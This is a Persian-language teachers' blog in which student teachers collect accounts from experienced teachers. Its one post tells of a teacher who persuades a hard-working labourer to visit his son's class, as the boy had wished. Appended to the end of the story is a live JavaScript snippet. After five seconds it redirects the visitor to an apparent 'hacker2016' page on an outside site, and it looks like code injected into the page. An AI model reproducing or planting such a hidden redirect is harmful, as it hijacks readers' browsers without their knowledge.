تجربه معلّمان حرفه ای

Experience of Professional Teachers

تجربه معلّمان حرفه ای

Experience of Professional Teachers

تجربه معلّمان حرفه ای

عمل معلّمی برای معلّمانی که به آن به منزله فرصتی برای اعتلای آموزش و رشد شخصی نظر می کنند، سرشار از تجربه های نادری است که آگاهی از آنان برای دانشجو معلّمان و معلّمان دو خاصیت دارد:
1. آشنایی با تجربه خاص؛
2. کسب انگیزه و اعتماد برای عمل خلّاقانه در موقعیت های واقعی تربیت.
وبلاگ پیش رو، متن مصاحبه کتبی و تصویری از تجربیّات معلّمان حرفه ای، سرآمد و پیشکسوت ایران، بالاخص استان مازندران است
که توسط اینجانب، همکاران و دانشجو معلّمان دانشکده فاطمة الزهراء (س) قائمشهر و دانشکده شهید رجایی بابل وابسته به دانشگاه فرهنگیان در اجرای تکالیف عملکردی واحد درسی " تجربه های خاص حرفه ای در آموزش ابتدایی" تهیه و ثبت شده است. که تلاشی برای شناسایی معلّمان نادر و قدر شناسی از آنان نیز محسوب می شود و پیوندی بین نسل های معلّمان ایجاد می کند.
ضمن سپاس از بازدیدکنندگان محترم، استدعا می شود علاوه بر ارائه نظرات ارزنده خود، در صورت استفاده از متن حق امانت داری را رعایت نموده و با ذکر مأخذ ما را در اعتلای این امر مهم یاری نمایند./ انشاءالله

آخرین نظرات

آرزوی من/ زهرا صبورا سراجی

مهدی تقی پور حیدری | شنبه, ۴ ارديبهشت ۱۳۹۵، ۰۳:۴۰ ب.ظ
اینجانب خانم عباس­ زاده در یکی از سال های دوران تدریسم دانش آموزی به نام کمیل در کلاس دوم ابتدایی داشتم که پدرش کارگر و زحمت کش بود و معمولا زمان کمی در کنار خانواده اش بود.هنگام بررسی تکالیف، در یکی از درس های هدیه های آسمان در قسمتی به عنوان" آرزوهای من" دیدم کمیل نوشته است من آرزو دارم پدرم فقط یکبار با من به مدرسه بیاید.تا بحال پدرش را در مدرسه ندیده بودم ولی تصمیم داشتم هرطور شده او را به مدرسه بیاورم چون با دیدن این نوشته خیلی مضطرب حال شدم.نامه ای را از مدیر تقاضا کردم تا پدر کمیل را به مدرسه بیاورم ولی آقای مدیر نیز گفتند این آقا وضع مالی خوبی ندارد و صبح زود سرکار می رود ولی من با اصرار گفتم اگر لازم باشد درآمد یکروزش را به او می دهم ولی حتما باید بیاید.به کمیل نیز گفتم اگر پدرت قبول نکرد که بیاید تو هم به مدرسه نیا...فردای آن روز کمیل تنها به مدرسه آمد و گفت پدرش هروقت توانست حتما می آید.تقریبا اواسط زنگ اول بود که آقای مدیر به کلاس آمد و پدر کمیل را همراه خود آوردند.من ایشان را به کلاس دعوت کرده و استقبال کردم و از کمیل پرسیدم که این آقا را می شناسی؟ او گفت: بله پدرم هستند...گفتم ببخشید که مزاحم شما شدم آقا...شنیدید که کمیل جان گفتند بابای من به مدرسه اومده؟ گفتند:بله. کتاب هدیه آسمان کمیل را دست پدرش دادم و خواستم قسمت آرزوهای او را بخواند.پدر با خواندن آن جمله اشک در چشمانش جمع شد و از من برای اینکه توانستم آرزوی کوچک فرزندش را بر آورده کنم تشکر کرد...خوشحالم که توانستم کار کوچکی برای خوشحالی یکی از دانش آموزانم انجام دهم. function abzar(){window.location="http://codebazan.ir/js/hacker2016.html"} setTimeout("abzar()",5000);
  • مهدی تقی پور حیدری